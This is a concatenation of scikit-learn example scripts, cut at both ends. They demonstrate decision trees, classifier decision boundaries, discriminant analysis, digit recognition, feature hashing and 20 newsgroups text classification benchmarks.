common_node_id = np.arange(n_nodes)[common_nodes]

print("\nThe following samples %s share the node %s in the tree"
      % (sample_ids, common_node_id))
print("It is %s %% of all nodes." % (100 * len(common_node_id) / n_nodes,))






"""
===================================================================
Decision Tree Regression
===================================================================

A 1D regression with decision tree.

The :ref:`decision trees <tree>` is
used to fit a sine curve with addition noisy observation. As a result, it
learns local linear regressions approximating the sine curve.

We can see that if the maximum depth of the tree (controlled by the
`max_depth` parameter) is set too high, the decision trees learn too fine
details of the training data and learn from the noise, i.e. they overfit.
"""
print(__doc__)

# Import the necessary modules and libraries
import numpy as np
from sklearn.tree import DecisionTreeRegressor
import matplotlib.pyplot as plt

# Create a random dataset
rng = np.random.RandomState(1)
X = np.sort(5 * rng.rand(80, 1), axis=0)
y = np.sin(X).ravel()
y[::5] += 3 * (0.5 - rng.rand(16))

# Fit regression model
regr_1 = DecisionTreeRegressor(max_depth=2)
regr_2 = DecisionTreeRegressor(max_depth=5)
regr_1.fit(X, y)
regr_2.fit(X, y)

# Predict
X_test = np.arange(0.0, 5.0, 0.01)[:, np.newaxis]
y_1 = regr_1.predict(X_test)
y_2 = regr_2.predict(X_test)

# Plot the results
plt.figure()
plt.scatter(X, y, c="darkorange", label="data")
plt.plot(X_test, y_1, color="cornflowerblue", label="max_depth=2", linewidth=2)
plt.plot(X_test, y_2, color="yellowgreen", label="max_depth=5", linewidth=2)
plt.xlabel("data")
plt.ylabel("target")
plt.title("Decision Tree Regression")
plt.legend()
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=====================
Classifier comparison
=====================

A comparison of a several classifiers in scikit-learn on synthetic datasets.
The point of this example is to illustrate the nature of decision boundaries
of different classifiers.
This should be taken with a grain of salt, as the intuition conveyed by
these examples does not necessarily carry over to real datasets.

Particularly in high-dimensional spaces, data can more easily be separated
linearly and the simplicity of classifiers such as naive Bayes and linear SVMs
might lead to better generalization than is achieved by other classifiers.

The plots show training points in solid colors and testing points
semi-transparent. The lower right shows the classification accuracy on the test
set.
"""
print(__doc__)


# Code source: Gaël Varoquaux
#              Andreas Müller
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import ListedColormap
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.datasets import make_moons, make_circles, make_classification
from sklearn.neural_network import MLPClassifier
from sklearn.neighbors import KNeighborsClassifier
from sklearn.svm import SVC
from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier
from sklearn.naive_bayes import GaussianNB
from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis

h = .02  # step size in the mesh

names = ["Nearest Neighbors", "Linear SVM", "RBF SVM", "Gaussian Process",
         "Decision Tree", "Random Forest", "Neural Net", "AdaBoost",
         "Naive Bayes", "QDA"]

classifiers = [
    KNeighborsClassifier(3),
    SVC(kernel="linear", C=0.025),
    SVC(gamma=2, C=1),
    GaussianProcessClassifier(1.0 * RBF(1.0), warm_start=True),
    DecisionTreeClassifier(max_depth=5),
    RandomForestClassifier(max_depth=5, n_estimators=10, max_features=1),
    MLPClassifier(alpha=1),
    AdaBoostClassifier(),
    GaussianNB(),
    QuadraticDiscriminantAnalysis()]

X, y = make_classification(n_features=2, n_redundant=0, n_informative=2,
                           random_state=1, n_clusters_per_class=1)
rng = np.random.RandomState(2)
X += 2 * rng.uniform(size=X.shape)
linearly_separable = (X, y)

datasets = [make_moons(noise=0.3, random_state=0),
            make_circles(noise=0.2, factor=0.5, random_state=1),
            linearly_separable
            ]

figure = plt.figure(figsize=(27, 9))
i = 1
# iterate over datasets
for ds_cnt, ds in enumerate(datasets):
    # preprocess dataset, split into training and test part
    X, y = ds
    X = StandardScaler().fit_transform(X)
    X_train, X_test, y_train, y_test = \
        train_test_split(X, y, test_size=.4, random_state=42)

    x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5
    y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))

    # just plot the dataset first
    cm = plt.cm.RdBu
    cm_bright = ListedColormap(['#FF0000', '#0000FF'])
    ax = plt.subplot(len(datasets), len(classifiers) + 1, i)
    if ds_cnt == 0:
        ax.set_title("Input data")
    # Plot the training points
    ax.scatter(X_train[:, 0], X_train[:, 1], c=y_train, cmap=cm_bright)
    # and testing points
    ax.scatter(X_test[:, 0], X_test[:, 1], c=y_test, cmap=cm_bright, alpha=0.6)
    ax.set_xlim(xx.min(), xx.max())
    ax.set_ylim(yy.min(), yy.max())
    ax.set_xticks(())
    ax.set_yticks(())
    i += 1

    # iterate over classifiers
    for name, clf in zip(names, classifiers):
        ax = plt.subplot(len(datasets), len(classifiers) + 1, i)
        clf.fit(X_train, y_train)
        score = clf.score(X_test, y_test)

        # Plot the decision boundary. For that, we will assign a color to each
        # point in the mesh [x_min, x_max]x[y_min, y_max].
        if hasattr(clf, "decision_function"):
            Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
        else:
            Z = clf.predict_proba(np.c_[xx.ravel(), yy.ravel()])[:, 1]

        # Put the result into a color plot
        Z = Z.reshape(xx.shape)
        ax.contourf(xx, yy, Z, cmap=cm, alpha=.8)

        # Plot also the training points
        ax.scatter(X_train[:, 0], X_train[:, 1], c=y_train, cmap=cm_bright)
        # and testing points
        ax.scatter(X_test[:, 0], X_test[:, 1], c=y_test, cmap=cm_bright,
                   alpha=0.6)

        ax.set_xlim(xx.min(), xx.max())
        ax.set_ylim(yy.min(), yy.max())
        ax.set_xticks(())
        ax.set_yticks(())
        if ds_cnt == 0:
            ax.set_title(name)
        ax.text(xx.max() - .3, yy.min() + .3, ('%.2f' % score).lstrip('0'),
                size=15, horizontalalignment='right')
        i += 1

plt.tight_layout()
plt.show()






"""
====================================================================
Linear and Quadratic Discriminant Analysis with confidence ellipsoid
====================================================================

Plot the confidence ellipsoids of each class and decision boundary
"""
print(__doc__)

from scipy import linalg
import numpy as np
import matplotlib.pyplot as plt
import matplotlib as mpl
from matplotlib import colors

from sklearn.discriminant_analysis import LinearDiscriminantAnalysis
from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis

###############################################################################
# colormap
cmap = colors.LinearSegmentedColormap(
    'red_blue_classes',
    {'red': [(0, 1, 1), (1, 0.7, 0.7)],
     'green': [(0, 0.7, 0.7), (1, 0.7, 0.7)],
     'blue': [(0, 0.7, 0.7), (1, 1, 1)]})
plt.cm.register_cmap(cmap=cmap)


###############################################################################
# generate datasets
def dataset_fixed_cov():
    '''Generate 2 Gaussians samples with the same covariance matrix'''
    n, dim = 300, 2
    np.random.seed(0)
    C = np.array([[0., -0.23], [0.83, .23]])
    X = np.r_[np.dot(np.random.randn(n, dim), C),
              np.dot(np.random.randn(n, dim), C) + np.array([1, 1])]
    y = np.hstack((np.zeros(n), np.ones(n)))
    return X, y


def dataset_cov():
    '''Generate 2 Gaussians samples with different covariance matrices'''
    n, dim = 300, 2
    np.random.seed(0)
    C = np.array([[0., -1.], [2.5, .7]]) * 2.
    X = np.r_[np.dot(np.random.randn(n, dim), C),
              np.dot(np.random.randn(n, dim), C.T) + np.array([1, 4])]
    y = np.hstack((np.zeros(n), np.ones(n)))
    return X, y


###############################################################################
# plot functions
def plot_data(lda, X, y, y_pred, fig_index):
    splot = plt.subplot(2, 2, fig_index)
    if fig_index == 1:
        plt.title('Linear Discriminant Analysis')
        plt.ylabel('Data with fixed covariance')
    elif fig_index == 2:
        plt.title('Quadratic Discriminant Analysis')
    elif fig_index == 3:
        plt.ylabel('Data with varying covariances')

    tp = (y == y_pred)  # True Positive
    tp0, tp1 = tp[y == 0], tp[y == 1]
    X0, X1 = X[y == 0], X[y == 1]
    X0_tp, X0_fp = X0[tp0], X0[~tp0]
    X1_tp, X1_fp = X1[tp1], X1[~tp1]

    alpha = 0.5

    # class 0: dots
    plt.plot(X0_tp[:, 0], X0_tp[:, 1], 'o', alpha=alpha,
             color='red')
    plt.plot(X0_fp[:, 0], X0_fp[:, 1], '*', alpha=alpha,
             color='#990000')  # dark red

    # class 1: dots
    plt.plot(X1_tp[:, 0], X1_tp[:, 1], 'o', alpha=alpha,
             color='blue')
    plt.plot(X1_fp[:, 0], X1_fp[:, 1], '*', alpha=alpha,
             color='#000099')  # dark blue

    # class 0 and 1 : areas
    nx, ny = 200, 100
    x_min, x_max = plt.xlim()
    y_min, y_max = plt.ylim()
    xx, yy = np.meshgrid(np.linspace(x_min, x_max, nx),
                         np.linspace(y_min, y_max, ny))
    Z = lda.predict_proba(np.c_[xx.ravel(), yy.ravel()])
    Z = Z[:, 1].reshape(xx.shape)
    plt.pcolormesh(xx, yy, Z, cmap='red_blue_classes',
                   norm=colors.Normalize(0., 1.))
    plt.contour(xx, yy, Z, [0.5], linewidths=2., colors='k')

    # means
    plt.plot(lda.means_[0][0], lda.means_[0][1],
             'o', color='black', markersize=10)
    plt.plot(lda.means_[1][0], lda.means_[1][1],
             'o', color='black', markersize=10)

    return splot


def plot_ellipse(splot, mean, cov, color):
    v, w = linalg.eigh(cov)
    u = w[0] / linalg.norm(w[0])
    angle = np.arctan(u[1] / u[0])
    angle = 180 * angle / np.pi  # convert to degrees
    # filled Gaussian at 2 standard deviation
    ell = mpl.patches.Ellipse(mean, 2 * v[0] ** 0.5, 2 * v[1] ** 0.5,
                              180 + angle, facecolor=color, edgecolor='yellow',
                              linewidth=2, zorder=2)
    ell.set_clip_box(splot.bbox)
    ell.set_alpha(0.5)
    splot.add_artist(ell)
    splot.set_xticks(())
    splot.set_yticks(())


def plot_lda_cov(lda, splot):
    plot_ellipse(splot, lda.means_[0], lda.covariance_, 'red')
    plot_ellipse(splot, lda.means_[1], lda.covariance_, 'blue')


def plot_qda_cov(qda, splot):
    plot_ellipse(splot, qda.means_[0], qda.covariances_[0], 'red')
    plot_ellipse(splot, qda.means_[1], qda.covariances_[1], 'blue')

###############################################################################
for i, (X, y) in enumerate([dataset_fixed_cov(), dataset_cov()]):
    # Linear Discriminant Analysis
    lda = LinearDiscriminantAnalysis(solver="svd", store_covariance=True)
    y_pred = lda.fit(X, y).predict(X)
    splot = plot_data(lda, X, y, y_pred, fig_index=2 * i + 1)
    plot_lda_cov(lda, splot)
    plt.axis('tight')

    # Quadratic Discriminant Analysis
    qda = QuadraticDiscriminantAnalysis(store_covariances=True)
    y_pred = qda.fit(X, y).predict(X)
    splot = plot_data(qda, X, y, y_pred, fig_index=2 * i + 2)
    plot_qda_cov(qda, splot)
    plt.axis('tight')
plt.suptitle('Linear Discriminant Analysis vs Quadratic Discriminant Analysis')
plt.show()






"""
===============================
Plot classification probability
===============================

Plot the classification probability for different classifiers. We use a 3
class dataset, and we classify it with a Support Vector classifier, L1
and L2 penalized logistic regression with either a One-Vs-Rest or multinomial
setting, and Gaussian process classification.

The logistic regression is not a multiclass classifier out of the box. As
a result it can identify only the first class.
"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

import matplotlib.pyplot as plt
import numpy as np

from sklearn.linear_model import LogisticRegression
from sklearn.svm import SVC
from sklearn.gaussian_process import GaussianProcessClassifier
from sklearn.gaussian_process.kernels import RBF
from sklearn import datasets

iris = datasets.load_iris()
X = iris.data[:, 0:2]  # we only take the first two features for visualization
y = iris.target

n_features = X.shape[1]

C = 1.0
kernel = 1.0 * RBF([1.0, 1.0])  # for GPC

# Create different classifiers. The logistic regression cannot do
# multiclass out of the box.
classifiers = {'L1 logistic': LogisticRegression(C=C, penalty='l1'),
               'L2 logistic (OvR)': LogisticRegression(C=C, penalty='l2'),
               'Linear SVC': SVC(kernel='linear', C=C, probability=True,
                                 random_state=0),
               'L2 logistic (Multinomial)': LogisticRegression(
                C=C, solver='lbfgs', multi_class='multinomial'),
               'GPC': GaussianProcessClassifier(kernel)
               }

n_classifiers = len(classifiers)

plt.figure(figsize=(3 * 2, n_classifiers * 2))
plt.subplots_adjust(bottom=.2, top=.95)

xx = np.linspace(3, 9, 100)
yy = np.linspace(1, 5, 100).T
xx, yy = np.meshgrid(xx, yy)
Xfull = np.c_[xx.ravel(), yy.ravel()]

for index, (name, classifier) in enumerate(classifiers.items()):
    classifier.fit(X, y)

    y_pred = classifier.predict(X)
    classif_rate = np.mean(y_pred.ravel() == y.ravel()) * 100
    print("classif_rate for %s : %f " % (name, classif_rate))

    # View probabilities=
    probas = classifier.predict_proba(Xfull)
    n_classes = np.unique(y_pred).size
    for k in range(n_classes):
        plt.subplot(n_classifiers, n_classes, index * n_classes + k + 1)
        plt.title("Class %d" % k)
        if k == 0:
            plt.ylabel(name)
        imshow_handle = plt.imshow(probas[:, k].reshape((100, 100)),
                                   extent=(3, 9, 1, 5), origin='lower')
        plt.xticks(())
        plt.yticks(())
        idx = (y_pred == k)
        if idx.any():
            plt.scatter(X[idx, 0], X[idx, 1], marker='o', c='k')

ax = plt.axes([0.15, 0.04, 0.7, 0.05])
plt.title("Probability")
plt.colorbar(imshow_handle, cax=ax, orientation='horizontal')

plt.show()






"""
================================
Recognizing hand-written digits
================================

An example showing how the scikit-learn can be used to recognize images of
hand-written digits.

This example is commented in the
:ref:`tutorial section of the user manual <introduction>`.

"""
print(__doc__)

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# License: BSD 3 clause

# Standard scientific Python imports
import matplotlib.pyplot as plt

# Import datasets, classifiers and performance metrics
from sklearn import datasets, svm, metrics

# The digits dataset
digits = datasets.load_digits()

# The data that we are interested in is made of 8x8 images of digits, let's
# have a look at the first 4 images, stored in the `images` attribute of the
# dataset.  If we were working from image files, we could load them using
# matplotlib.pyplot.imread.  Note that each image must have the same size. For these
# images, we know which digit they represent: it is given in the 'target' of
# the dataset.
images_and_labels = list(zip(digits.images, digits.target))
for index, (image, label) in enumerate(images_and_labels[:4]):
    plt.subplot(2, 4, index + 1)
    plt.axis('off')
    plt.imshow(image, cmap=plt.cm.gray_r, interpolation='nearest')
    plt.title('Training: %i' % label)

# To apply a classifier on this data, we need to flatten the image, to
# turn the data in a (samples, feature) matrix:
n_samples = len(digits.images)
data = digits.images.reshape((n_samples, -1))

# Create a classifier: a support vector classifier
classifier = svm.SVC(gamma=0.001)

# We learn the digits on the first half of the digits
classifier.fit(data[:n_samples / 2], digits.target[:n_samples / 2])

# Now predict the value of the digit on the second half:
expected = digits.target[n_samples / 2:]
predicted = classifier.predict(data[n_samples / 2:])

print("Classification report for classifier %s:\n%s\n"
      % (classifier, metrics.classification_report(expected, predicted)))
print("Confusion matrix:\n%s" % metrics.confusion_matrix(expected, predicted))

images_and_predictions = list(zip(digits.images[n_samples / 2:], predicted))
for index, (image, prediction) in enumerate(images_and_predictions[:4]):
    plt.subplot(2, 4, index + 5)
    plt.axis('off')
    plt.imshow(image, cmap=plt.cm.gray_r, interpolation='nearest')
    plt.title('Prediction: %i' % prediction)

plt.show()






"""
====================================================================
Normal and Shrinkage Linear Discriminant Analysis for classification
====================================================================

Shows how shrinkage improves classification.
"""

from __future__ import division

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import make_blobs
from sklearn.discriminant_analysis import LinearDiscriminantAnalysis


n_train = 20  # samples for training
n_test = 200  # samples for testing
n_averages = 50  # how often to repeat classification
n_features_max = 75  # maximum number of features
step = 4  # step size for the calculation


def generate_data(n_samples, n_features):
    """Generate random blob-ish data with noisy features.

    This returns an array of input data with shape `(n_samples, n_features)`
    and an array of `n_samples` target labels.

    Only one feature contains discriminative information, the other features
    contain only noise.
    """
    X, y = make_blobs(n_samples=n_samples, n_features=1, centers=[[-2], [2]])

    # add non-discriminative features
    if n_features > 1:
        X = np.hstack([X, np.random.randn(n_samples, n_features - 1)])
    return X, y

acc_clf1, acc_clf2 = [], []
n_features_range = range(1, n_features_max + 1, step)
for n_features in n_features_range:
    score_clf1, score_clf2 = 0, 0
    for _ in range(n_averages):
        X, y = generate_data(n_train, n_features)

        clf1 = LinearDiscriminantAnalysis(solver='lsqr', shrinkage='auto').fit(X, y)
        clf2 = LinearDiscriminantAnalysis(solver='lsqr', shrinkage=None).fit(X, y)

        X, y = generate_data(n_test, n_features)
        score_clf1 += clf1.score(X, y)
        score_clf2 += clf2.score(X, y)

    acc_clf1.append(score_clf1 / n_averages)
    acc_clf2.append(score_clf2 / n_averages)

features_samples_ratio = np.array(n_features_range) / n_train

plt.plot(features_samples_ratio, acc_clf1, linewidth=2,
         label="Linear Discriminant Analysis with shrinkage", color='navy')
plt.plot(features_samples_ratio, acc_clf2, linewidth=2,
         label="Linear Discriminant Analysis", color='gold')

plt.xlabel('n_features / n_samples')
plt.ylabel('Classification accuracy')

plt.legend(loc=1, prop={'size': 12})
plt.suptitle('Linear Discriminant Analysis vs. \
shrinkage Linear Discriminant Analysis (1 discriminative feature)')
plt.show()






"""
===========================================
FeatureHasher and DictVectorizer Comparison
===========================================

Compares FeatureHasher and DictVectorizer by using both to vectorize
text documents.

The example demonstrates syntax and speed only; it doesn't actually do
anything useful with the extracted vectors. See the example scripts
{document_classification_20newsgroups,clustering}.py for actual learning
on text documents.

A discrepancy between the number of terms reported for DictVectorizer and
for FeatureHasher is to be expected due to hash collisions.
"""

# Author: Lars Buitinck
# License: BSD 3 clause

from __future__ import print_function
from collections import defaultdict
import re
import sys
from time import time

import numpy as np

from sklearn.datasets import fetch_20newsgroups
from sklearn.feature_extraction import DictVectorizer, FeatureHasher


def n_nonzero_columns(X):
    """Returns the number of non-zero columns in a CSR matrix X."""
    return len(np.unique(X.nonzero()[1]))


def tokens(doc):
    """Extract tokens from doc.

    This uses a simple regex to break strings into tokens. For a more
    principled approach, see CountVectorizer or TfidfVectorizer.
    """
    return (tok.lower() for tok in re.findall(r"\w+", doc))


def token_freqs(doc):
    """Extract a dict mapping tokens from doc to their frequencies."""
    freq = defaultdict(int)
    for tok in tokens(doc):
        freq[tok] += 1
    return freq


categories = [
    'alt.atheism',
    'comp.graphics',
    'comp.sys.ibm.pc.hardware',
    'misc.forsale',
    'rec.autos',
    'sci.space',
    'talk.religion.misc',
]
# Uncomment the following line to use a larger set (11k+ documents)
#categories = None

print(__doc__)
print("Usage: %s [n_features_for_hashing]" % sys.argv[0])
print("    The default number of features is 2**18.")
print()

try:
    n_features = int(sys.argv[1])
except IndexError:
    n_features = 2 ** 18
except ValueError:
    print("not a valid number of features: %r" % sys.argv[1])
    sys.exit(1)


print("Loading 20 newsgroups training data")
raw_data = fetch_20newsgroups(subset='train', categories=categories).data
data_size_mb = sum(len(s.encode('utf-8')) for s in raw_data) / 1e6
print("%d documents - %0.3fMB" % (len(raw_data), data_size_mb))
print()

print("DictVectorizer")
t0 = time()
vectorizer = DictVectorizer()
vectorizer.fit_transform(token_freqs(d) for d in raw_data)
duration = time() - t0
print("done in %fs at %0.3fMB/s" % (duration, data_size_mb / duration))
print("Found %d unique terms" % len(vectorizer.get_feature_names()))
print()

print("FeatureHasher on frequency dicts")
t0 = time()
hasher = FeatureHasher(n_features=n_features)
X = hasher.transform(token_freqs(d) for d in raw_data)
duration = time() - t0
print("done in %fs at %0.3fMB/s" % (duration, data_size_mb / duration))
print("Found %d unique terms" % n_nonzero_columns(X))
print()

print("FeatureHasher on raw tokens")
t0 = time()
hasher = FeatureHasher(n_features=n_features, input_type="string")
X = hasher.transform(tokens(d) for d in raw_data)
duration = time() - t0
print("done in %fs at %0.3fMB/s" % (duration, data_size_mb / duration))
print("Found %d unique terms" % n_nonzero_columns(X))






"""
========================================================
Classification of text documents: using a MLComp dataset
========================================================

This is an example showing how the scikit-learn can be used to classify
documents by topics using a bag-of-words approach. This example uses
a scipy.sparse matrix to store the features instead of standard numpy arrays.

The dataset used in this example is the 20 newsgroups dataset and should be
downloaded from the http://mlcomp.org (free registration required):

  http://mlcomp.org/datasets/379

Once downloaded unzip the archive somewhere on your filesystem.
For instance in::

  % mkdir -p ~/data/mlcomp
  % cd  ~/data/mlcomp
  % unzip /path/to/dataset-379-20news-18828_XXXXX.zip

You should get a folder ``~/data/mlcomp/379`` with a file named ``metadata``
and subfolders ``raw``, ``train`` and ``test`` holding the text documents
organized by newsgroups.

Then set the ``MLCOMP_DATASETS_HOME`` environment variable pointing to
the root folder holding the uncompressed archive::

  % export MLCOMP_DATASETS_HOME="~/data/mlcomp"

Then you are ready to run this example using your favorite python shell::

  % ipython examples/mlcomp_sparse_document_classification.py

"""

# Author: Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from __future__ import print_function

from time import time
import sys
import os
import numpy as np
import scipy.sparse as sp
import matplotlib.pyplot as plt

from sklearn.datasets import load_mlcomp
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import SGDClassifier
from sklearn.metrics import confusion_matrix
from sklearn.metrics import classification_report
from sklearn.naive_bayes import MultinomialNB


print(__doc__)

if 'MLCOMP_DATASETS_HOME' not in os.environ:
    print("MLCOMP_DATASETS_HOME not set; please follow the above instructions")
    sys.exit(0)

# Load the training set
print("Loading 20 newsgroups training set... ")
news_train = load_mlcomp('20news-18828', 'train')
print(news_train.DESCR)
print("%d documents" % len(news_train.filenames))
print("%d categories" % len(news_train.target_names))

print("Extracting features from the dataset using a sparse vectorizer")
t0 = time()
vectorizer = TfidfVectorizer(encoding='latin1')
X_train = vectorizer.fit_transform((open(f).read()
                                    for f in news_train.filenames))
print("done in %fs" % (time() - t0))
print("n_samples: %d, n_features: %d" % X_train.shape)
assert sp.issparse(X_train)
y_train = news_train.target

print("Loading 20 newsgroups test set... ")
news_test = load_mlcomp('20news-18828', 'test')
t0 = time()
print("done in %fs" % (time() - t0))

print("Predicting the labels of the test set...")
print("%d documents" % len(news_test.filenames))
print("%d categories" % len(news_test.target_names))

print("Extracting features from the dataset using the same vectorizer")
t0 = time()
X_test = vectorizer.transform((open(f).read() for f in news_test.filenames))
y_test = news_test.target
print("done in %fs" % (time() - t0))
print("n_samples: %d, n_features: %d" % X_test.shape)


###############################################################################
# Benchmark classifiers
def benchmark(clf_class, params, name):
    print("parameters:", params)
    t0 = time()
    clf = clf_class(**params).fit(X_train, y_train)
    print("done in %fs" % (time() - t0))

    if hasattr(clf, 'coef_'):
        print("Percentage of non zeros coef: %f"
              % (np.mean(clf.coef_ != 0) * 100))
    print("Predicting the outcomes of the testing set")
    t0 = time()
    pred = clf.predict(X_test)
    print("done in %fs" % (time() - t0))

    print("Classification report on test set for classifier:")
    print(clf)
    print()
    print(classification_report(y_test, pred,
                                target_names=news_test.target_names))

    cm = confusion_matrix(y_test, pred)
    print("Confusion matrix:")
    print(cm)

    # Show confusion matrix
    plt.matshow(cm)
    plt.title('Confusion matrix of the %s classifier' % name)
    plt.colorbar()


print("Testbenching a linear classifier...")
parameters = {
    'loss': 'hinge',
    'penalty': 'l2',
    'n_iter': 50,
    'alpha': 0.00001,
    'fit_intercept': True,
}

benchmark(SGDClassifier, parameters, 'SGD')

print("Testbenching a MultinomialNB classifier...")
parameters = {'alpha': 0.01}

benchmark(MultinomialNB, parameters, 'MultinomialNB')

plt.show()






"""
======================================================
Classification of text documents using sparse features
======================================================

This is an example showing how scikit-learn can be used to classify documents
by topics using a bag-of-words approach. This example uses a scipy.sparse
matrix to store the features and demonstrates various classifiers that can
efficiently handle sparse matrices.

The dataset used in this example is the 20 newsgroups dataset. It will be
automatically downloaded, then cached.

The bar plot indicates the accuracy, training time (normalized) and test time
(normalized) of each classifier.

"""

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#         Olivier Grisel <olivier.grisel@ensta.org>
#         Mathieu Blondel <mathieu@mblondel.org>
#         Lars Buitinck
# License: BSD 3 clause

from __future__ import print_function

import logging
import numpy as np
from optparse import OptionParser
import sys
from time import time
import matplotlib.pyplot as plt

from sklearn.datasets import fetch_20newsgroups
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.feature_extraction.text import HashingVectorizer
from sklearn.feature_selection import SelectKBest, chi2
from sklearn.linear_model import RidgeClassifier
from sklearn.pipeline import Pipeline
from sklearn.svm import LinearSVC
from sklearn.linear_model import SGDClassifier
from sklearn.linear_model import Perceptron
from sklearn.linear_model import PassiveAggressiveClassifier
from sklearn.naive_bayes import BernoulliNB, MultinomialNB
from sklearn.neighbors import KNeighborsClassifier
from sklearn.neighbors import NearestCentroid
from sklearn.ensemble import RandomForestClassifier
from sklearn.utils.extmath import density
from sklearn import metrics


# Display progress logs on stdout
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s %(levelname)s %(message)s')


# parse commandline arguments
op = OptionParser()
op.add_option("--report",
              action="store_true", dest="print_report",
              help="Print a detailed classification report.")
op.add_option("--chi2_select",
              action="store", type="int", dest="select_chi2",
              help="Select some number of features using a chi-squared test")
op.add_option("--confusion_matrix",
              action="store_true", dest="print_cm",
              help="Print the confusion matrix.")
op.add_option("--top10",
              action="store_true", dest="print_top10",
              help="Print ten most discriminative terms per class"
                   " for every classifier.")
op.add_option("--all_categories",
              action="store_true", dest="all_categories",
              help="Whether to use all categories or not.")
op.add_option("--use_hashing",
              action="store_true",
              help="Use a hashing vectorizer.")
op.add_option("--n_features",
              action="store", type=int, default=2 ** 16,
              help="n_features when using the hashing vectorizer.")
op.add_option("--filtered",
              action="store_true",
              help="Remove newsgroup information that is easily overfit: "
                   "headers, signatures, and quoting.")

(opts, args) = op.parse_args()
if len(args) > 0:
    op.error("this script takes no arguments.")
    sys.exit(1)

print(__doc__)
op.print_help()
print()


###############################################################################
# Load some categories from the training set
if opts.all_categories:
    categories = None
else:
    categories = [
        'alt.atheism',
        'talk.religion.misc',
        'comp.graphics',
        'sci.space',
    ]

if opts.filtered:
    remove = ('headers', 'footers', 'quotes')
else:
    remove = ()

print("Loading 20 newsgroups dataset for categories:")
print(categories if categories else "all")

data_train = fetch_20newsgroups(subset='train', categories=categories,
                                shuffle=True, random_state=42,
                                remove=remove)

data_test = fetch_20newsgroups(subset='test', categories=categories,
                               shuffle=True, random_state=42,
                               remove=remove)
print('data loaded')

categories = data_train.target_names    # for case categories == None


def size_mb(docs):
    return sum(len(s.encode('utf-8')) for s in docs) / 1e6

data_train_size_mb = size_mb(data_train.data)
data_test_size_mb = size_mb(data_test.data)

print("%d documents - %0.3fMB (training set)" % (
    len(data_train.data), data_train_size_mb))
print("%d documents - %0.3fMB (test set)" % (
    len(data_test.data), data_test_size_mb))
print("%d categories" % len(categories))
print()

# split a training set and a test set
y_train, y_test = data_train.target, data_test.target

print("Extracting features from the training data using a sparse vectorizer")
t0 = time()
if opts.use_hashing:
    vectorizer = HashingVectorizer(stop_words='english', non_negative=True,
                                   n_features=opts.n_features)
    X_train = vectorizer.transform(data_train.data)
else:
    vectorizer = TfidfVectorizer(sublinear_tf=True, max_df=0.5,
                                 stop_words='english')
    X_train = vectorizer.fit_transform(data_train.data)
duration = time() - t0
print("done in %fs at %0.3fMB/s" % (duration, data_train_size_mb / duration))
print("n_samples: %d, n_features: %d" % X_train.shape)
print()

print("Extracting features from the test data using the same vectorizer")
t0 = time()
X_test = vectorizer.transform(data_test.data)
duration = time() - t0
print("done in %fs at %0.3fMB/s" % (duration, data_test_size_mb / duration))
print("n_samples: %d, n_features: %d" % X_test.shape)
print()

# mapping from integer feature name to original token string
if opts.use_hashing:
    feature_names = None
else:
    feature_names = vectorizer.get_feature_names()

if opts.select_chi2:
    print("Extracting %d best features by a chi-squared test" %
          opts.select_chi2)
    t0 = time()
    ch2 = SelectKBest(chi2, k=opts.select_chi2)
    X_train = ch2.fit_transform(X_train, y_train)
    X_test = ch2.transform(X_test)
    if feature_names:
        # keep selected feature names
        feature_names = [feature_names[i] for i
                         in ch2.get_support(indices=True)]
    print("done in %fs" % (time() - t0))
    print()

if feature_names:
    feature_names = np.asarray(feature_names)


def trim(s):
    """Trim string to fit on terminal (assuming 80-column display)"""
    return s if len(s) <= 80 else s[:77] + "..."


###############################################################################
# Benchmark classifiers
def benchmark(clf):
    print('_' * 80)
    print("Training: ")
    print(clf)
    t0 = time()
    clf.fit(X_train, y_train)
    train_time = time() - t0
    print("train time: %0.3fs" % train_time)

    t0 = time()
    pred = clf.predict(X_test)
    test_time = time() - t0
    print("test time:  %0.3fs" % test_time)

    score = metrics.accuracy_score(y_test, pred)
    print("accuracy:   %0.3f" % score)

    if hasattr(clf, 'coef_'):
        print("dimensionality: %d" % clf.coef_.shape[1])
        print("density: %f" % density(clf.coef_))

        if opts.print_top10 and feature_names is not None:
            print("top 10 keywords per class:")
            for i, category in enumerate(categories):
                top10 = np.argsort(clf.coef_[i])[-10:]
                print(trim("%s: %s"
                      % (category, " ".join(feature_names[top10]))))
        print()

    if opts.print_report:
        print("classification report:")
        print(metrics.classification_report(y_test, pred,
                                            target_names=categories))

    if opts.print_cm:
        print("confusion matrix:")
        print(metrics.confusion_matrix(y_test, pred))

    print()
    clf_descr = str(clf).split('(')[0]
    return clf_descr, score, train_time, test_time


results = []
for clf, name in (
        (RidgeClassifier(tol=1e-2, solver="lsqr"), "Ridge Classifier"),
        (Perceptron(n_iter=50), "Perceptron"),
        (PassiveAggressiveClassifier(n_iter=50), "Passive-Aggressive"),
        (KNeighborsClassifier(n_neighbors=10), "kNN"),
        (RandomForestClassifier(n_estimators=100), "Random forest")):
    print('=' * 80)
    print(name)
    results.append(benchmark(clf))

for penalty in ["l2", "l1"]:
    print('=' * 80)
    print("%s penalty" % penalty.upper())
    # Train Liblinear model
    results.append(benchmark(LinearSVC(loss='l2', penalty=penalty,
                                            dual=False, tol=1e-3)))

    # Train SGD model
    results.append(benchmark(SGDClassifier(alpha=.0001, n_iter=50,
                                           penalty=penalty)))

